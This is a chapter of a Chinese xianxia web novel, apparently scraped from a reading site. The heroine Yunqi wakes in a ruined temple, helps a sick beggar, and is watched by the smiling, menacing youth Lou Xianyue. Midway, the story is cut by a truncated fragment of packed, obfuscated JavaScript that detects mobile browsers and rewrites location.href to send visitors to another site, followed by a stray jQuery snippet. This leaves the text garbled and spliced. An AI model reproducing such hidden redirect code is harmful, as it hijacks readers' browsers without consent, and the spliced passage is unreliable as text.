2. 恰似故人归(二)

作品:《坏了,替身文学遇到沉浸式扮演了

    火红的晚霞燃烧了整片天空,在云栖眼里却是一张血红的巨网。


    少女的身形站在天地之间如此渺小。


    云栖想拔腿逃离,可双腿如灌铅般沉重,但她顾不得这么多,咬牙狂奔。


    不知跑了多久,前方出现一位看不清脸的少年,同落日余金般耀眼,与她遥遥相望。


    他是谁?


    云栖慢下来,目光完全被吸引。


    她不自觉地走近,想看清少年的模样,周身却开出一朵朵诡谲的骨花。


    而其中一朵,从她的胸膛破出。


    “咳咳咳!”


    云栖咳嗽着从噩梦中惊醒。


    晨曦从破庙残墙上大大小小的缝隙射入,打在垮塌一半的神像上,尘粒在光束所作的横梁间交织飞舞。


    这是···早上了?


    云栖还没从梦中缓过神,下意识低头看向自己的胸膛。


    还好还好,没有被开膛破肚。


    身上盖着昨日少年的外袍,云栖抬眸并未寻到少年的身影。


    难道他离开了?


    她继续打量,破庙里不只她一个人。


    沾满蛛网的布帘虽然隔绝了一些视线,可她依旧能看见神像的前方坐着几批人。


    他们没有扎堆,而是两三个坐在一起,看来可能互不相识。


    云栖从没见过这么多人。


    居住在小院的日子,她从来没有听到过邻里的声音。


    他们为什么都聚集在破庙里?


    云栖抱着少年的外袍起身。


    指腹接触到柔软光滑的布料,云栖动作更加拘束。


    这衣服恐怕贵的很,她可别弄坏了。


    若是再遇见道友,他突然向她讨要,她把师父卖了也赔不起。


    一想到那位白玉京的道友,云栖胸膛竟隐隐作痛。


    平舒口气,云栖把衣物折叠起来,护在怀中,从布帘后出来。


    对于她来说,昨夜的一切都发生的太过离奇。


    破庙中有人聚集对她来说不是坏事,说不定她可以找人问清楚长诀城究竟发生了什么。


    断裂的剑、砍坏的斧头,众人身边横七竖八倒着损坏的武器。


    这些武器和他们的主人一样筋疲力竭。


    许久没沐浴更衣的异味充斥在人群中,混杂着饭馊味,抑制住云栖早起的饥饿感。


    云栖突兀地出现打断他们仅有的休息,一道道犀利的目光立即向她聚集。


    众人防备敌对的目光让云栖滞在原地。


    云栖咽了口唾沫,硬着头皮迈开一小步。


    “喂!瞎子,你踩到我的地盘了!”


    胡子盘缠打结的壮汉猛地蹬向她,充血的眼球在深陷的眼眶里颤动。他喉咙里滚出一声嘶哑的爆喝:“滚回去!”


    他缺水干燥的嘴唇因为用力而裂开,渗出的血珠挂在胡茬上。


    “这、这块砖……”他攥紧的拳头重重敲击在地砖上,像是在捍卫最后的安全地,“都是老子的!”


    云栖慌乱地点头哈腰,立马撤回一只脚。


    像乌龟缩回壳一样,云栖缩回布帘后。


    心有余悸,她却听到那壮汉对他身边瑟瑟发抖的年轻人低声咒骂。


    声音里满是绝望的怒火:“……哭什么!老子说了会带你出去,把你娘的镯子赎回来!”


    云栖心中一沉。


    以他们和善的程度,云栖觉得几乎不可能从他们嘴里听到什么消息。


    微不可闻的叹了口气,云栖垂下头。


    要是师父在就好了。


    委屈感在她缓过神来后立即让她鼻尖酸涩。


    察觉到眼哐里积聚了湿热的液体,云栖快速吸气,硬生生憋回。


    重新打起精神,云栖理清思路。


    昨夜带阵法的木棺,恐怖的阴尸,还有逃亡的人群,以及白玉京的道友…


    或许他们这一切都是与阴尸有关。


    而这里……云栖抬头环视四周,目光落在神像上。


    破庙里有什么能保护他们。


    云栖觉得这是正确的结论,说不定师父月余未归,也许是在这种破庙中躲藏。


    可是道友呢?她出不去,他是如何离开的?


    “咯吱咯吱——”


    打磨牙齿的声音惹得云栖难受地皱眉。


    思路被打断,云栖寻着声音靠近。


    神像砖砌的底座下,塌陷出个大洞。


    云栖视线探去,只见破烂的衣袍露出一角来回移动。


    后背的裙襦被早上噩梦吓出的冷汗打湿。


    风从寺庙的破窗吹进,云栖感到后背一阵凉意。


    洞里是个人?


    云栖绕远,保持安全距离站定。


    乞丐蜷缩在坑洞里,两眼紧闭,面唇青紫,牙齿上下打颤。


    他整个人都在颤抖,似乎十分难受。


    云栖来不及想为什么昨夜打开棺材的乞丐也出现在这里,小心翼翼问道:“你还好吗?”


    乞丐睁眼,眼里全是被发现的惊恐。


    他抱紧自己的身子,使劲往洞里挤去。


    “你别怕,我不会伤害你。”


    云栖试图让乞丐平静下来。


    乞丐开始抽搐,似乎发病的越来越严重。


    云栖从怀中掏出一个药瓶。


    这是师父给她保命的药,她本来没打算出来这么长时间,便随身只带了一瓶。


    这瓶她已经吃了几天,如今瓶中只剩下一颗。


    她现在还不知道要在外面呆多久,若是她发病时没按时吃药,她会死。


    云栖在药瓶与快不行的乞丐间来回看了几眼。


    分下一半,云栖给两眼翻白的乞丐喂进去。


    若是剩一半,遇到困境,她还可以撑住一会儿,这样就可以回小院取药。


    药丸的作用立竿见影。


    乞丐翻白的双眼渐渐恢复正常,接着突然一把抓住云栖的胳膊。


    云栖连忙把药瓶藏好,才开始挣脱:“你、你要干什么?”


    “他是妖!”


    乞丐声音低怯,神情却分外认真。


    云栖心中咯噔一下,“妖?你在说谁?”


    乞丐收紧力道,双眼瞪大。


    “跑…昨晚上他一直盯着你,他一直盯着你……”


    听得云栖毛骨悚然,只觉得背后有一双眼睛在看着她。


    “你怎么到这里来了?”


    云栖心尖一颤,猛地站起身,回身而立。


    梦中模糊的脸在此刻变得清晰。


    少年一双含着秋波的桃花眼自然弯成两道月牙,说话时嘴角带笑,看起来温润无害。


    美玉。


    这是云栖脑海浮现的词。


    对上少年漆黑的双眸,云栖忽然卸了力。


    为什么?为什么她好像……在哪里见过这双眼睛?


    记忆的翻涌刺痛她的大脑,云栖无意识后退一步。


    瞧见她后退,楼衔月嘴角仍噙着笑。


    但唇角肌肉有一瞬僵硬,像有人用丝线强行吊住那抹弧度。


    即使道友神情并未多变,云栖凭直觉感到他现在心情不是很好。


    “道友莫怪,我是看到……”


    云栖手指向乞丐藏身之处,却发现乞丐不知何时已经不见了。


    溜得真快,云栖哑然。


    她改口:“这有座神像,我想找找有没有什么关于阴尸的线索。”


    “你叫我什么?”


    他眼尾的弧度未变,可破庙里悬浮的尘粒突然停滞,像被无形的手按在半空。


    云栖呼吸一窒,仿佛有一条冰凉的蛇体顺着她的脊背爬上来——而他只是静静的看着她。


    云栖心中愈发局促不安。


    也对,她和他不过是萍水相逢。


    她听师父说过,白玉京十二楼五城,乃成仙得道者聚集之地,以守护天地阴邪阳灵的平衡为责任。


    就算尚未被人供奉,也是被仙者挑选的天资绝伦的弟子。


    考虑到这点,云栖恭恭敬敬地行礼。


    “多谢仙者救命之恩,刚刚是云栖冒犯。”


    少年给予沉默的回应。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007999|194112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >良久,久到云栖都觉得有些尴尬了,少年才扶着她的胳膊,让她起来。


    “云栖姑娘,你我年龄相仿,又同是修道之人,相逢即是缘份,不必如此疏离。”


    “云栖姑娘若是不介意,我姓楼名谪玉,字衔月——”


    他故意拉长停顿。


    云栖不得不猜想,他是不是在观察她听到他名字的反应?


    但少年脸上裹了一层温润的外壳,叫她看不真切,云栖也只是猜想。


    而且她也不知道要给个什么反应。


    “我可以称呼仙者为衔月道友吗?”云栖败下阵来。


    楼衔月凝视她片刻,似乎真没发现他想看到的破绽,最终微微一笑道:“当然可以。”


    他松开她的胳膊,云栖舒了口气。


    总感觉刚刚小命不保。


    怀中的衣物被他接过,转而被替代的是一包温热的糕点。


    食物的香气勾得云栖胃中泛酸。


    “不知道我们要在神庙中待多久,先吃点东西。”楼衔月穿好衣袍。


    自从她出了小院就一直没吃东西。


    云栖难耐地咽了口唾沫,但还是送还给他道:“长诀城危险,食物来之不易,还是道友自己留着。”


    少年的目光停留在她脸上。


    他一直盯着你。


    脑海忽然浮现乞丐的话,云栖眉心猛地一跳。


    他说的他,该不会是道友吧?


    “毕竟我就住在长诀城,我的师父在等我回去吃饭。”云栖突兀地找补。


    习惯让她在撒谎时不经意眨巴眨巴眼睛。


    “师父?”楼衔月尾音上扬,云栖却觉得他对这件事没多关心。


    “那姑娘许久未归,姑娘的师父一定很担心。”


    她的话前后有漏洞,若是她真有师父,她出来这么久,怎么还会在家里等着?


    脸颊发热,云栖假装楼衔月就是表面的意思,硬着头皮点点头。


    “不过这糕点还是姑娘拿着,送出的东西,没有收回的道理。”


    楼衔月的话滴水不漏。


    云栖没有立即吃掉,而是将糕点收起来。


    “衔月道友可以将我送出神庙吗?”


    他能出去,也应该能有办法带她出去。


    等她出了神庙,她再想办法回到小院。


    楼衔月说的对,若是师父真回来了,不仅会让师父平添担心,也会让他们错过。


    “你要离开?”楼衔月的笑容明显消失。


    破庙漏下的光斑落在他身上,却染不亮他的眼睛,反而在他脚边投下扭曲的暗影。


    云栖忽然感觉自己像个抛妻弃子的负心汉,“道友的救命之恩云栖不会忘记。”


    “只是我现在需要回去,若是日后再相逢,若有需要,云栖定会竭力帮忙。”


    云栖想了一圈,她身上所有物品加起来恐怕还没有道友的一件衣袍贵。


    但若她找到师父,师父说不定能帮上道友的忙。


    沉默。


    空气安静到云栖以为楼衔月会拒绝时,他开口道:“我并非持恩胁报,只是······”


    云栖眼中重新燃起希望。


    在她期待的目光下,楼衔月在前方带路,“跟我来。”


    少年坦坦荡荡地从神像前堂穿过。


    云栖站在布帘前,没敢迈步。


    她还以为道友有什么秘密通道,结果竟然是径直走出去。


    但好像刚刚他们不是这样对她的。


    云栖望向吼过她的壮汉,而壮汉只是用布满老茧和伤口的手,摆弄着掉了只耳朵的布老虎。


    见她落后,楼衔月停下脚步,“怎么了?”


    “没、没事。”云栖摇头,快步跟上。


    楼衔月站定在神庙门口,云栖从他的背后冒出头来。


    神庙十步开外,竟是白茫茫的一片。


    又起雾了。


    浓雾像活物般翻滚,每一次低吼都让雾墙突兀出狰狞人形。


    楼衔月接着道:“只是雾中危险,恐怕姑娘回去的路并不安全。”